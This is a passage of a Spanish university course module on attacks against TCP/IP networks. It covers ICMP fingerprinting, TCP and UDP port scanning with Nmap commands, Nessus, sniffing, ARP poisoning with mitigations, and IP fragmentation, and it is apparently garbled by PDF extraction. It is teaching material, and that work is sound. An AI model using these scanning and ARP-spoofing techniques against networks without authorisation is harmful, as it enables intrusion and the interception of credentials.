  • 15. © FUOC • P06/M2107/01769 15 Ataques contra redes TCP/IPIdentificaci´ n de respuestas ICMP o Aunque el objetivo original del protocolo ICMP es el de notificar errores y condiciones ICMPinusuales (que requieren una especial atenci´ n respecto al protocolo IP), es posible poder o El protocolo ICMP es elrealizar un uso indebido de este protocolo para obtener huellas identificativas de un sistema encargado de realizar el control de flujo de losremoto. datagramas IP que circulan por una red TCP/IP. Este protocolo consta de variasComentaremos a continuaci´ n algunos ejemplos de c´ mo obtener estas huellas a partir de o o funcionalidades que permiten realizar desde lalas distintas respuestas ofrecidas mediante el tr´ fico ICMP: a ´ comunicacion de situaciones con anomal´as (por ejemplo, ı para indicar que no se ha• ICMP echo. Como hemos visto anteriormente, el uso de tr´ fico ICMP de tipo echo a podido realizar el entrega de permite la exploraci´ n de sistemas activos. As´, con esta exploraci´ n se pretende iden- o ı o un datagrama IP) hasta la ´ comprobacion del estado de tificar los equipos existentes dentro de la red que se quiere explorar, normalmente ´ una maquina en la red. accesibles desde internet. . El comando ping puede informar, mediante paquetes ICMP de tipos echo-request y echo-reply, sobre si una determinada direcci´ n IP est´ o o a no activa. El campo TTL, utilizado en este intercambio de paquetes echo de ICMP, suele ser inicializado de forma distinta seg´ n el sistema operativo que haya detr´ s del equipo. u a Por otra parte, cuando se env´a un paquete ICMP echo-request hacia la direc- ı o o ´ ci´ n de difusi´ n (broadcast), se consigue que con un unico paquete enviado todos los equipos respondan con un paquete ICMP de tipo echo-reply. . Esta caracter´stica no es propia de todos los sistemas operativos. As´, por ejemplo, ı ı puede estar presente en algunas variantes de sistemas operativos Unix, mientras que los sistemas operativos de Microsoft no responden a este tipo de paquetes. Estas dos informaciones, el n´ mero de TTL inicial y la respuesta a un ping enviado por u difusi´ n, podr´a ser de utilizado como una primera huella identificativa de los sistemas o ı de la red.• ICMP timestamp. Mediante la transmisi´ n de un paquete ICMP de tipo timestamp- o request, si un sistema est´ activo, se recibir´ un paquete de tipo timestamp-reply, a a indicando si es posible conocer la referencia de tiempo en el sistema de destino.
  • 16. © FUOC • P06/M2107/01769 16 Ataques contra redes TCP/IP . La decisi´ n de responder o no a estos paquetes depende de la implementaci´ n. Al- o o gunos sistemas operativos Windows s´ responden, mientras que otros no lo hacen. ı No obstante, la mayor´a de los sistemas operativos Unix s´ que suelen implemen- ı ı tarlo. Seg´ n si los sistemas de la red responden o no ante esta petici´ n, su huella identificativa u o apuntar´ a un posible sistema o a otro. a• ICMP information. La finalidad de los paquetes ICMP de tipo information- request y su respuesta asociada, information-reply, consiste en permitir que ciertos equipos que no disponen de disco puedan extraer su propia configuraci´ n, au- o toconfigurarse en el momento de inicio, obtener su direcci´ n IP, etc. o . Aunque las recomendaciones de seguridad indican que los sistemas operativos no deber´an generar este tipo de paquetes ni responder a ellos, la realidad de las im- ı plementaciones existentes es otra. La respuesta, en lugar de indicar la direcci´ n IP de la red en el campo de origen, o a ´ indica la direcci´ n IP del equipo. Algunos sistemas operativos responder´ n unicamente o cuando la direcci´ n IP de destino del paquete tenga el valor de una direcci´ n IP de o o confianza. Otros sistemas, as´ como muchos dispositivos de red, implementan distintos ı m´ todos de respuesta ante este tipo de paquetes. Todas estas diferencias se pueden e utilizar en el momento de confeccionar la huella identificativa.1.2.3. Exploraci´ n de puertos o La exploraci´ n de puertos* es una t´ cnica ampliamente utilizada para identificar los o e ´servicios que ofrecen los sistemas de destino. Suele ser la ultima de las actividades previas ´ * En ingles, Port Scanning.a la realizaci´ n de un ataque. o ** Mirad el cap´tulo ı ´ Deficiencias de programacion. ´ de este mismo modulo ´ didactico para mas´ La exploraci´ n de puertos puede permitir el reconocimiento de los servicios ofre- o ´ informacion. cidos por cada uno de los equipos encontrados en la red escogida. Con esta infor- maci´ n, el atacante podr´a realizar posteriormente una b´ squeda de exploits que le o ı u permitiera un ataque de intrusi´ n en el sistema analizado**. o
  • 17. © FUOC • P06/M2107/01769 17 Ataques contra redes TCP/IPExploraci´ n de puertos TCP oAparte de ser de utilidad para obtener la huella identificativa de un sistema conectado a lared, la exploraci´ n de puertos TCP se puede utilizar para descubrir si dicho sistema ofrece oo no un determinado servicio.Existe un grande n´ mero de t´ cnicas para realizar esta exploraci´ n de puertos TCP. Entre u e olas m´ s conocidas, podemos destacar las siguientes: a• TCP connect scan. Mediante el establecimiento de una conexi´ n TCP completa (com- o pletando los tres pasos del establecimiento de la conexi´ n) la exploraci´ n puede ir ana- o o lizando todos los puertos posibles. Si la conexi´ n se realiza correctamente, se anotar´ o a el puerto como abierto (realizando una suposici´ n de su servicio asociado seg´ n el o u n´ mero de puerto). u• ´ TCP SYN scan. Enviando unicamente paquetes de inicio de conexi´ n (SYN) por cada o ´ uno de los puertos que se quieren analizar se puede determinar si estos est´ n abiertos a o no. Recibir como respuesta un paquete RST-ACK significa que no existe ning´ n u servicio que escuche por este puerto. Por el contrario, si se recibe un paquete SYN-ACK, podemos afirmar la existencia de un servicio asociado a dicho puerto TCP. En este caso, se enviar´ un paquete RST-ACK a para no establecer conexi´ n y no ser registrados por el sistema objetivo, a diferencia o del caso anterior (TCP connect scan).• TCP FIN scan.Al enviar un paquete FIN a un puerto, deber´amos recibir un paquete ı de reset (RST) s´ dicho puerto est´ cerrado. Esta t´ cnica se aplica principalmente sobre ı a e implementaciones de pilas TCP/IP de sistemas Unix.• TCP Xmas Tree scan. Esta t´ cnica es muy similar a la anterior, y tambi´ n se obtiene e e como resultado un paquete de reset si el puerto est´ cerrado. En este caso se env´an a ı paquetes FIN, URG y PUSH.• TCP Null scan. En el caso de poner a cero todos los indicadores de la cabecera TCP, la exploraci´ n deber´a recibir como resultado un paquete de reset en los puertos no o ı activos.. La mayor parte de aplicaciones para realizar exploraci´ n de puertos TCP suelen o ser ruidosas, es decir, no intentan esconder lo que se est´ analizando la red. Esto a suele ser as´ porque se presume que o bien nadie est´ revisando la actividad de ı a exploraci´ n o que, utilizando un equipo comprometido, nadie podr´ descubrir el o a equipo desde el que realmente se realiza la exploraci´ n de puertos. o
  • 18. © FUOC • P06/M2107/01769 18 Ataques contra redes TCP/IPExploraci´ n de puertos UDP o. Mediante la exploraci´ n de puertos UDP es posible determinar si un sistema est´ o a o no disponible, as´ como encontrar los servicios asociados a los puertos UDP que ı encontramos abiertos.Para realizar esta exploraci´ n se env´an datagramas UDP sin ninguna informaci´ n al cam- o ı opo de datos. En el caso de que el puerto est´ cerrado, se recibir´ un mensaje ICMP de e apuerto no alcanzable (port unreachable). Si el puerto est´ abierto, no se recibir´ ninguna a arespuesta.Dado que UDP es un protocolo no orientado a conexi´ n, la fiabilidad de este m´ todo o edepende de numerosos factores (m´ s todav´a en internet), como son la utilizaci´ n de la red a ı oy sus recursos, la carga existente, la existencia de filtros de paquetes en sistemas finales oen sistemas cortafuegos, etc.Asimismo, y a diferencia de las exploraciones TCP, se trata de un proceso mucho m´ s len- ato, puesto que la recepci´ n de los paquetes enviados se consigue mediante el vencimiento ode temporizadores (timeouts).En el caso de detectar un elevado n´ mero de puertos UDP abiertos, el atacante podr´a u ıconcluir que existe un sistema cortafuegos entre su equipo y el objetivo. Para confirmar ´esta ultima posibilidad, se puede enviar un datagrama UDP al puerto cero. Esto tendr´a que ıgenerar una respuesta ICMP de puerto no alcanzable. No recibir esta respuesta significaque existe un dispositivo que filtra el tr´ fico. aHerramientas para realizar la exploraci´ n de puertos oLa aplicaci´ n por excelencia para realizar exploraci´ n de puertos es Nmap (Network Map- o oper). Esta herramienta implementa la gran mayor´a de t´ cnicas conocidas para exploraci´ n ı e ode puertos y permite descubrir informaci´ n de los servicios y sistemas encontrados. Nmap otambi´ n implementa un gran n´ mero de t´ cnicas de reconocimiento de huellas identifica- e u etivas, como las que hemos visto anteriormente.Mediante Nmap pueden realizarse, por ejemplo, las siguientes acciones de exploraci´ n: o• Descubrimiento de direcciones IP activas mediante una exploraci´ n de la red: o . nmap -sP IP ADDRESS/NETMASK
  • 19. © FUOC • P06/M2107/01769 19 Ataques contra redes TCP/IP• Exploraci´ n de puertos TCP activos: o A tener en cuenta . La mayor parte de herramientas de exploracion´ nmap -sT IP ADDRESS/NETMASK de puertos pueden ser muy “ruidosas” y no son bien vistas por los administradores de red. Es altamente• Exploraci´ n de puertos UDP activos: o recomendable no utilizar . estas herramientas sin el consentimiento expl´cito de ı los responsables de la red. nmap -sU IP ADDRESS/NETMASK• Exploraci´ n del tipo de sistema operativo de un equipo en red: o . nmap -O IP ADDRESS/NETMASKLa siguiente imagen muestra un ejemplo de exploraci´ n de puertos mediante la herramien- ota Nmap:Generalmente, Nmap es utilizado internamente por otras aplicaciones como, por ejemplo,esc´ ners de vulnerabilidades, herramientas de detecci´ n de sistemas activos, servicios web a oque ofrecen exploraci´ n de puertos, etc. o
  • 20. © FUOC • P06/M2107/01769 20 Ataques contra redes TCP/IP ´ Este es el caso de la utilidad Nessus. Se trata de una utilidad que permite comprobar si unsistema es vulnerable a un conjunto muy amplio de problemas de seguridad almacenados ı ´ * Mirad el cap´tulo Escaners de vulnerabilidades delen su base de datos. Si encuentra alguna de estas debilidades en el sistema analizado, se ´ ´ modulo didacticoencargar´ de informar sobre su existencia y sobre posibles soluciones. a ´ Mecanismos de deteccion de ataques e intrusiones para ´ ´ mas informacion.. Nmap, junto con Nessus, son dos de las herramientas m´ s frecuentemente utili- a zadas tanto por administradores de redes como por posibles atacantes, puesto que ofrecen la mayor parte de los datos necesarios para estudiar el comportamiento de un sistema o red que se quiere atacar*.
  • 21. © FUOC • P06/M2107/01769 21 Ataques contra redes TCP/IP1.3. Escuchas de red.Uno de los primeros ataques contra las dos primeras capas del modelo TCP/IP son lasescuchas de red. Se trata de un ataque realmente efectivo, puesto que permite la obtenci´ n ode una gran cantidad de informaci´ n sensible. o Mediante aplicaciones que se encargan de capturar e interpretar tramas y datagramas en Redes Ethernetentornos de red basados en difusi´ n, conocidos como escuchas de red o sniffers, es posible o Las redes Ethernet son unrealizar el an´ lisis de la informaci´ n contenida en los paquetes TCP/IP que interceptan a o ejemplo de redes basadas en ´ difusion.para poder extraer todo tipo de informaci´ n. o. Un sniffer no es m´ s que un sencillo programa que intercepta toda la informaci´ n a o que pase por la interfaz de red a la que est´ asociado. Una vez capturada, se podr´ e a almacenar para su an´ lisis posterior. aDe esta forma, sin necesidad de acceso a ning´ n sistema de la red, un atacante podr´ u aobtener informaci´ n sobre cuentas de usuario, claves de acceso o incluso mensajes de ocorreo electr´ nico en el que se env´an estas claves. Este tipo de t´ cnica se conoce como o ı esniffing.Las t´ cnicas de niffing tambi´ n se conocen como t´ cnicas de eavesdropping y t´ cnicas e e e ede snooping. La primera, eavesdropping, es una variante del sniffing, caracterizada porrealizar la adquisici´ n o intercepci´ n del tr´ fico que circula por la red de forma pasiva, es o o adecir, sin modificar el contenido de la informaci´ n. o Por otra parte, las t´ cnicas de snooping se caracterizan por el almacenamiento de la infor- e Sniffing hardwaremaci´ n capturada en el ordenador del atacante, mediante una conexi´ n remota establecida o o ´ Es posible analizar el traficodurante toda la sesi´ n de captura. En este caso, tampoco se modifica la informaci´ n in- o o de una red pinchando en un cable de red de un dispositivocluida en la transmisi´ n. o por el que circula todo el ´ ´ trafico. Tambien se pueden utilizar receptores situadosLa forma m´ s habitual de realizar t´ cnicas de sniffing en una red, probablemente porque a e en medios deest´ al alcance de todo el mundo, es la que podr´amos denominar sniffing software, utili- a ı comunicaciones sin cables.zando las aplicaciones que ya mencionadas.
  • 22. © FUOC • P06/M2107/01769 22 Ataques contra redes TCP/IP1.3.1. Desactivaci´ n de filtro MAC oUna de las t´ cnicas m´ s utilizadas por la mayor´a de los sniffers de redes Ethernet se e a ıbasa en la posibilidad de configurar la interfaz de red para que desactive su filtro MAC(poniendo la tarjeta de red en modo promiscuo).Las redes basadas en dispositivos Ethernet fueron concebidas en torno a una idea principal:todas las m´ quinas de una misma red local comparten el mismo medio, de manera que atodos los equipos son capaces de ver el tr´ fico de la red de forma global. aCuando se env´an datos es necesario especificar claramente a qui´ n van dirigidos, indican- ı edo la direcci´ n MAC. De los 48 bits que componen la direcci´ n MAC, los 24 primeros bits o oidentifican al fabricante del hardware, y los 24 bits restantes corresponden al n´ mero de userie asignado por el fabricante. Esto garantiza que dos tarjetas no puedan tener la mismadirecci´ n MAC. oPara evitar que cualquier m´ quina se pueda apropiar de informaci´ n fraudulenta, las tarje- a otas Ethernet incorporan un filtro que ignora todo el tr´ fico que no les pertenece, descartando aaquellos paquetes con una direcci´ n MAC que no coincide con la suya. La desactivaci´ n o ode este filtro se conoce con el nombre de modo promiscuo. Con el uso adecuado de expresiones regulares y otros filtros de texto, se podr´ visualizar a Modo promiscuo ´o almacenar unicamente la informaci´ n que m´ s interese; en especial, aquella informaci´ n o a o Si es posible poner la tarjetasensible, como nombres de usuario y contrase˜ as. n de red en modo promiscuo, la ´ ´ aplicacion podra empezar a capturar tanto los paquetes ´El entorno en el que suele ser m´ s efectivo este tipo de escuchas son las redes de area a ´ destinados a esta maquina ´ como el resto de trafico de lalocal configuradas con una topolog´a en bus. En este tipo de redes, todos los equipos est´ n ı a misma red.conectado a un mismo cable. Esto implica que todo el tr´ fico transmitido y recibido por alos equipos de la red pasa por este medio com´ n. u. Una soluci´ n para evitar esta t´ cnica consiste en la segmentaci´ n de la red y de o e o los equipos mediante el uso de conmutadores (switches). Al segmentar la red y los ´ equipos, el unico tr´ fico que tendr´an que ver las m´ quinas ser´a el que les pertene- a ı a ı ´ ce, puesto que el conmutador se encarga de encaminar hacia el equipo unicamente aquellos paquetes destinados a su direcci´ n MAC. Aun as´, existen t´ cnicas para o ı e poder continuar realizando sniffing aunque se haya segmentado la red median- te switches. Una de estas t´ cnicas es la suplantaci´ n de ARP, que describiremos a e o continuaci´ n. o
  • 23. © FUOC • P06/M2107/01769 23 Ataques contra redes TCP/IP1.3.2. Suplantaci´ n de ARP oEl protocolo ARP es el encargado de traducir direcciones IP de 32 bits, a las correspon-dientes direcciones hardware, generalmente de 48 bits en dispositivos Ethernet. Cuandoun ordenador necesita resolver una direcci´ n IP en una direcci´ n MAC, lo que hace es o oefectuar una petici´ n ARP (arp-request) a la direcci´ n de difusi´ n de dicho segmento o o ode red, FF:FF:FF:FF:FF:FF, solicitando que el equipo que tiene esta IP responda consu direcci´ n MAC. o 192.168.0.1 Broadcast 192.168.0.2 0A:0A:0A:0A:0A:0A FF:FF:FF:FF:FF:FF 0B:0B:0B:0B:0B:0B ARP-REQUEST Who has 192.168.0.2? Tell 192.168.0.1 ARP-REPLY 192.168.0.2 is at 0B:0B:0B:0B:0B:0B Datagrama IPLa figura anterior refleja c´ mo una m´ quina A, con IP 192.168.0.1 y MAC 0A:0A- o a:0A:0A:0A:0A solicita por difusi´ n qu´ direcci´ n MAC est´ asociada a la IP 192.- o e o a168.0.2. La m´ quina B, con IP 192.168.0.2 y MAC 0B:0B:0B:0B:0B:0B de- a ı ´ber´a ser la unica que respondiera a la petici´ n. oCon el objetivo de reducir el tr´ fico en la red, cada respuesta de ARP (arp-reply) que allega a la tarjeta de red es almacenada en una tabla cach´ , aunque la m´ quina no haya e arealizado la correspondiente petici´ n. As´ pues, toda respuesta de ARP que llega a la o ım´ quina es almacenada en la tabla de ARP de esta m´ quina. Este factor es el que se a autilizar´ para realizar el ataque de suplantaci´ n de ARP*. a o ˜ * Este engano se conoce con el nombre de. ”envenenamiento de ARP”(ARP poisoning). El objetivo de un ataque de suplantaci´ n de ARP es poder capturar tr´ fico ajeno sin o a necesidad de poner en modo promiscuo la interfaz de red. Envenenando la tabla de ARP de los equipos involucrados en la comunicaci´ n que se quiere capturar se o puede conseguir que el conmutador les haga llegar los paquetes. Si el enga˜ o es n posible, cuando las dos m´ quinas empiecen la comunicaci´ n enviar´ n sus paque- a o a a a ´ tes hacia la m´ quina donde est´ el sniffer. Este, para no descubrir el enga˜ o, se n encargar´ de encaminar el tr´ fico que ha interceptado. a a
  • 24. © FUOC • P06/M2107/01769 24 Ataques contra redes TCP/IPEn la siguiente figura se puede ver c´ mo la m´ quina C se coloca entre dos m´ quinas (A y o a aB) y les env´a paquetes de tipo arp-reply: ı Conexión real Conexión lógica 192.168.0.1 192.168.0.3 192.168.0.2 0A:0A:0A:0A:0A:0A 0C:0C:0C:0C:0C:0C 0B:0B:0B:0B:0B:0B ARP-REPLY 192.168.0.2 is at 0C:0C:0C:0C:0C:0C ARP-REPLY 192.168.0.1 is at 0C:0C:0C:0C:0C:0C ARP-REPLY 192.168.0.2 is at 0C:0C:0C:0C:0C:0C ARP-REPLY ARP-REPLY 192.168.0.1 is at 0C:0C:0C:0C:0C:0C 192.168.0.2 is at 0C:0C:0C:0C:0C:0C ARP-REPLY 192.168.0.1 is at 0C:0C:0C:0C:0C:0CDe esta forma, toda comunicaci´ n entre las m´ quinas A y B pasar´ por la m´ quina C (ya o a a aque tanto A como B dirigen sus paquetes a la direcci´ n MAC 0C:0C:0C:0C:0C:0C). El oflujo de arp-reply ser´ constante, para evitar que la tabla de ARP de las m´ quinas A y a aB se refresque con la informaci´ n correcta. Este proceso corresponde al envenenamiento ode ARP comentado. A partir del momento en que el envenenamiento se haga efectivo, lospaquetes enviados entre A y B ir´ n encaminados a C. aComo vemos en la siguiente figura, al intentar realizar el envenenamiento de ARP podr´a ıproducirse una condici´ n de carrera (race condition). o 192.168.0.1 Broadcast 192.168.0.3 192.168.0.2 0A:0A:0A:0A:0A:0A FF:FF:FF:FF:FF:FF 0C:0C:0C:0C:0C:0C 0B:0B:0B:0B:0B:0B A) ARP-REQUEST Who has 192.168.0.2? Tell 192.168.0.1 ARP-REPLY 192.168.0.2 is at 0C:0C:0C:0C:0C:0C ARP-REPLY 192.168.0.2 is at 0B:0B:0B:0B:0B:0B B) ARP-REQUEST Who has 192.168.0.2? Tell 192.168.0.1 ARP-REPLY 192.168.0.2 is at 0B:0B:0B:0B:0B:0B ARP-REPLY 192.168.0.2 is at 0C:0C:0C:0C:0C:0C
  • 25. © FUOC • P06/M2107/01769 25 Ataques contra redes TCP/IPSi la m´ quina C responde al arp-request antes que el servidor principal, su arp- areplay ser´ sobreescrito por el de la m´ quina verdadera. Por otra parte, si fuera al a acontrario (figura b), ser´a el arp-reply verdadero el que ser´a eliminado por el de la ı ım´ quina C (produci´ ndose en este caso el envenenamiento de ARP). a e. Una posible soluci´ n para evitar ataques de suplantaci´ n de ARP es la utilizaci´ n o o o de direcciones MAC est´ ticas, de manera que no puedan ser actualizadas. En es- a te caso, los arp-reply enviados por el atacante ser´ n ignorados. El principal a inconveniente de esta soluci´ n es la necesidad de almacenar en la tabla ARP la o asociaci´ n entre la direcci´ n IP (con sus correspondientes direcciones MAC) de o o cada equipo de la red y la necesidad de actualizaci´ n manual en el caso de cambios o de tarjetas Ethernet en los equipos involucrados.1.3.3. Herramientas disponibles para realizar sniffingUna de las aplicaciones m´ s conocidas, en especial en sistemas Unix, es Tcpdump. Este aprograma, una vez ejecutado, captura todos los paquetes que llegan a nuestra m´ quina y amuestra por consola toda la informaci´ n relativa a los mismos. Se trata de una herramienta oque se ejecuta desde la l´nea de comandos y que cuenta con una gran cantidad de opciones ıpara mostrar la informaci´ n capturada de formas muy diversas. Tcpdump es una herrami- oenta muy potente y es la base para muchos otros sniffers que han aparecido posteriormente.Otra herramienta muy conocida es Ettercap. Esta aplicaci´ n, que tambi´ n funciona desde o econsola, ofrece un modo de ejecuci´ n interactivo en el que se muestran las conexiones oaccesibles desde la m´ quina donde se encuentra instalado y que permite seleccionar cual- aquiera de ellas para la captura de paquetes. Ettercap es una aplicaci´ n muy potente que opermite utilizar la mayor parte de las t´ cnicas existentes para realizar tanto sniffing como eeavesdropping y snooping. La siguiente imagen muestra una sesi´ n de Telnet capturada omediante Ettercap:
  • 26. © FUOC • P06/M2107/01769 26 Ataques contra redes TCP/IP1.4. Fragmentaci´ n IP o.El protocolo IP es el encargado de seleccionar la trayectoria que deben seguir los datagra-mas IP. No es un protocolo fiable ni orientado a conexi´ n, es decir, no garantiza el control ode flujo, la recuperaci´ n de errores ni que los datos lleguen a su destino. oA la hora de pasar a la capa inferior, los datagramas IP se encapsulan en tramas que, depen-diendo de la red f´sica utilizada, tienen una longitud determinada. Cuando los datagramas ı ´ * En ingles, Maxim Transfer Unit.IP viajan de unos equipos a otros, pueden pasar por distintos tipos de redes. El tama˜ o nexacto de estos paquetes, denominado MTU*, puede variar de una red a otra dependiendodel medio f´sico empleado para su transmisi´ n. ı oAs´, el protocolo IP debe tener en cuenta que ning´ n dispositivo puede transmitir paquetes ı ude una longitud superior al MTU establecido por la red por la que hay que pasar. A causade este problema, es necesaria la reconversi´ n de datagramas IP al formato adecuado. o. La fragmentaci´ n divide los datagramas IP en fragmentos de menor longitud y se o realiza en el nivel inferior de la arquitectura para que sea posible recomponer los datagramas IP de forma transparente en el resto de niveles. El reensamblado realiza la operaci´ n contraria. o El proceso de fragmentaci´ n y reensamblado se ir´ repitiendo a medida que los o a datagramas vayan viajando por diferentes redes.Aunque la fragmentaci´ n es, por lo general, una consecuencia natural del tr´ fico que viaja o a Fragmentaci´ n ... oa trav´ s de redes con MTU de distintos tama˜ os, es posible que un atacante pueda realizar e n ´ ... y ataques de denegacionun mal uso de esta propiedad del protocolo IP para provocar ataques de denegaci´ n de o de servicio. Ved la ´ informacion sobre losservicio (a causa de una mala implementaci´ n de la pila TCP/IP), as´ como para esconder o ı ataques teardrop y ping de lay facilitar la fase de recogida de informaci´ n (b´ squeda de huellas identificativas, explo- o u ´ muerte en la seccion sobre denegaciones de servicio deraci´ n de puertos, . . . ) o incluso para hacer pasar desapercibidos e introducir en la red o ´ ´ este mismo modulo didactico ´paquetes para la explotaci´ n de servicios. Esto ultimo es posible porque muchos de los o ´ ´ para mas informacion.mecanismos de prevenci´ n y de detecci´ n que veremos en m´ dulos posteriores no imple- o o omentan el reensamblado de paquetes, y por ello no detectar´ n ni prevendr´ n este tipo de a aactividad a causa del enmascaramiento que la fragmentaci´ n les ofrece. oAs´ pues, es importante comprender c´ mo funciona esta faceta del protocolo IP para en- ı otender este mal uso del tr´ fico fragmentado que podr´a realizar un posible atacante para a ıconseguir su objetivo.
  • 27. © FUOC • P06/M2107/01769 27 Ataques contra redes TCP/IP1.4.1. Fragmentaci´ n en redes Ethernet oLa MTU por defecto de un datagrama IP para una red de tipo Ethernet es de 1500 bytes.As´ pues, si un datagrama IP es mayor a este tama˜ o y necesita circular por este tipo de red, ı nser´ necesario fragmentarlo por medio del encaminador que dirige la red. Los fragmentos apueden incluso fragmentarse m´ s si pasan por una red con una MTU m´ s peque˜ a que su a a ntama˜ o. n ´Para que el equipo de destino pueda reconstruir los fragmentos, estos deben contener lasiguiente informaci´ n: o• Cada fragmento tiene que estar asociado a otro utilizando un identificador de fragmento u ´ com´ n. Este se clonar´ desde un campo de la cabecera IP, conocido como identificador a IP (tambi´ n llamado ID de fragmento). e• Informaci´ n sobre su posici´ n en el paquete inicial (paquete no fragmentado). o o• Informaci´ n sobre la longitud de los datos transportados al fragmento. o• Cada fragmento tiene que saber si existen m´ s fragmentos a continuaci´ n. Esto se a o indica en la cabecera, dejando o no activado el indicador de m´ s fragmentos (more a fragments, MF) del datagrama IP.Toda esta informaci´ n ir´ en la cabecera IP, colocada en el datagrama IP. Esto afectar´ o a aa todo el tr´ fico TCP/IP puesto que IP es el protocolo responsable de la entrega de los apaquetes.En la siguiente figura vemos la configuraci´ n de un datagrama IP no fragmentado: o Cabecera IP de 20 bytes 1480 bytes de datos encapsulados Ethernet (MTU=1500)En la cabecera IP, que normalmente ser´ de 20 bytes, estar´ contenida la informaci´ n a a onecesaria para poder dirigir el datagrama IP hacia su destino (direcci´ n IP de origen y odestino, direcci´ n del encaminamiento de origen, . . . ). o
  • 28. © FUOC • P06/M2107/01769 28 Ataques contra redes TCP/IP ´Tras la cabecera IP, se encapsulan los datos. Estos pueden ser tanto de un protocolo IPcomo TCP, UDP o ICMP. Por ejemplo, si estos datos fueran TCP, incluir´an una cabecera ıTCP y datos TCP. 20 8 4000 bytes de datos ICMP Datos ICMP Cabecera IP 4028 bytes en total en el datagrama IP Cabecera ICMP (petición eco ICMP) Ethernet MTU = 1500 1500 bytes 1500 bytes 1068 bytesEn la figura anterior podemos observar una petici´ n ICMP de tipo echo que pasa por una ored Ethernet (MTU de 1500). Esta petici´ n ICMP es anormalmente grande, no representa- otiva del tr´ fico normal, pero ser´ utilizada para mostrar c´ mo se produce la fragmentaci´ n. a a o oPor lo tanto, el datagrama de 4028 bytes deber´ dividirse en fragmentos de 1500 bytes o amenos.Estos paquetes fragmentados de 1500 bytes tendr´ n una cabecera IP de 20 bytes como afragmento inicial, quedando un m´ ximo de 1480 bytes para los datos en cada fragmen- ato. Las siguientes secciones examinan el contenido de cada uno de los tres fragmentosindividuales.Fragmento inicialLa cabecera IP original se clonar´ para que contenga un identificador de fragmentos id´ ntico a etanto para el primer como para el resto de fragmentos. ´ ´El primer fragmento es el unico que contendr´ la cabecera del mensaje ICMP. Esta no ser´ a aclonada en los fragmentos posteriores. Como veremos m´ s adelante, este hecho identifica ala naturaleza del fragmento original.
  • 29. © FUOC • P06/M2107/01769 29 Ataques contra redes TCP/IPObservando la siguiente figura podemos ver con atenci´ n el fragmento inicial: o 20 8 1472 Datos ICMP Cabecera IP Cabecera ICMP (petición eco ICMP) 20 8 1472 Cabecera IP Datos ICMP Offset = 0 Longitud = 1480 Más fragmentos = 1 1500 bytes en totalAdem´ s, este primer fragmento tiene un valor de desplazamiento igual a 0, una longitud ade 1480 bytes, 1472 bytes de datos, 8 bytes de cabecera ICMP y un indicador de m´ s afragmentos. A continuaci´ n podemos observar con m´ s detalle la configuraci´ n de este o a oprimer fragmento: 1500 bytes en total en un datagrama IP 20 8 1472 bytes de datos ICMP Cabecera ICMP Cabecera IP Tipo = petición eco ICMP Protocolo = ICMP ID de fragmento = 21223 Indicador de más fragmentos = 1 Offset del fragmento = 0 Longitud de los datos = 1480Los primeros 20 bytes de los 1500 son la cabecera IP, y los 8 bytes siguientes son lacabecera ICMP. Recordemos que este paquete fragmentado es una petici´ n ICMP de tipo oecho que tiene una cabecera de 8 bytes en su paquete original.Los 1472 bytes restantes son para los datos de ICMP. Adem´ s de los campos normales ade la cabecera IP, como origen, destino y protocolo (en este caso ICMP), hay camposespec´ficos para la fragmentaci´ n. ı o
  • 30. © FUOC • P06/M2107/01769 30 Ataques contra redes TCP/IPEl identificador de fragmento con un valor de 21223 es el enlace com´ n para el resto de ulos fragmentos. El indicador de m´ s fragmentos avisar´ de que el otro fragmento sigue a aal actual. As´ pues, en este primer fragmento el indicador se establece en 1 para indicar ıque hay m´ s fragmentos a continuaci´ n. Vemos tambi´ n que se almacena el valor de los a o edatos de este fragmento en relaci´ n con los datos del datagrama completo. Para el primer oregistro, el valor de desplazamiento es 0.Finalmente, se almacena la longitud de los datos contenidos en este fragmento como lalongitud del mismo; en este caso, la longitud es 1480, es decir, la cabecera ICMP de 8bytes seguida por los primeros 1472 bytes de los datos ICMP.Fragmento siguientePodemos ver en la siguiente figura c´ mo en el fragmento siguiente la cabecera IP de la ocabecera original es clonada con un identificador de fragmento id´ ntico: e 1480 Datos ICMP 20 1480 Offset = 1480 Longitud = 1480 Cabecera IP Datos ICMP Más fragmentos = 1 1500 bytes en totalVemos tambi´ n c´ mo se reproduce la mayor parte del resto de datos de la cabecera IP e o ´(como el origen y destino) en la nueva cabecera. Detr´ s de esta van los 1480 bytes de adatos ICMP. Este segundo fragmento tiene un valor de 1480 y una longitud de 1480 bytes.Adem´ s, como todav´a le sigue un fragmento m´ s, se activa nuevamente el indicador de a ı am´ s fragmentos. a 1500 bytes en total del datagrama IP 20 1480 bytes de datos ICMP Cabecera IP Protocolo = ICMP ID de fragmento = 21223 Indicador de más fragmentos = 1 Offset del fragmento = 1480 Longitud de los datos = 1480
  • 31. © FUOC • P06/M2107/01769 31 Ataques contra redes TCP/IPLa figura anterior muestra el datagrama IP que lleva el segundo fragmento que, como elresto de fragmentos, necesita una cabecera IP de 20 bytes. De nuevo, el protocolo de lacabecera indica ICMP.El n´ mero de identificaci´ n de fragmento contin´ a siendo 21223. Y tiene el indicador de u o um´ s fragmentos activado, porque hay otro fragmento a continuaci´ n. a oEs importante tener presente que la cabecera ICMP del primer fragmento no ha sido clo-nada juntamente con los datos ICMP. Esto significa que si se examinara tan solo este ´fragmento, no se podr´a saber el tipo de mensaje ICMP que hay almacenado. Este hecho ıpuede suponer problemas importantes a la hora de utilizar dispositivos de filtrado.´Ultimo fragmento 1048 Datos ICMP 20 1048 Offset = 2960 Longitud = 1048 Cabecera IP Datos ICMP Más fragmentos = 0 1068 bytes en totalEn la figura anterior podemos ver c´ mo, una vez m´ s, ha sido clonada la cabecera IP de o a ´la cabecera original (con un identificador de fragmento id´ ntico). Los ultimos 1048 bytes ede datos ICMP se insertan en este nuevo datagrama IP. Este fragmento tiene un despla-zamiento de 2960 y una longitud de 1048 bytes; y como no le siguen m´ s fragmentos, el aindicador de m´ s fragmentos est´ desactivado. En la siguiente figura podemos observar a a ´con m´ s detenimiento este ultimo fragmento: a 1068 bytes en total del datagrama IP 20 1048 bytes de datos ICMP Cabecera IP Protocolo = ICMP ID de fragmento = 21223 Indicador de más fragmentos = 0 Offset del fragmento = 2960 Longitud de los datos = 1048
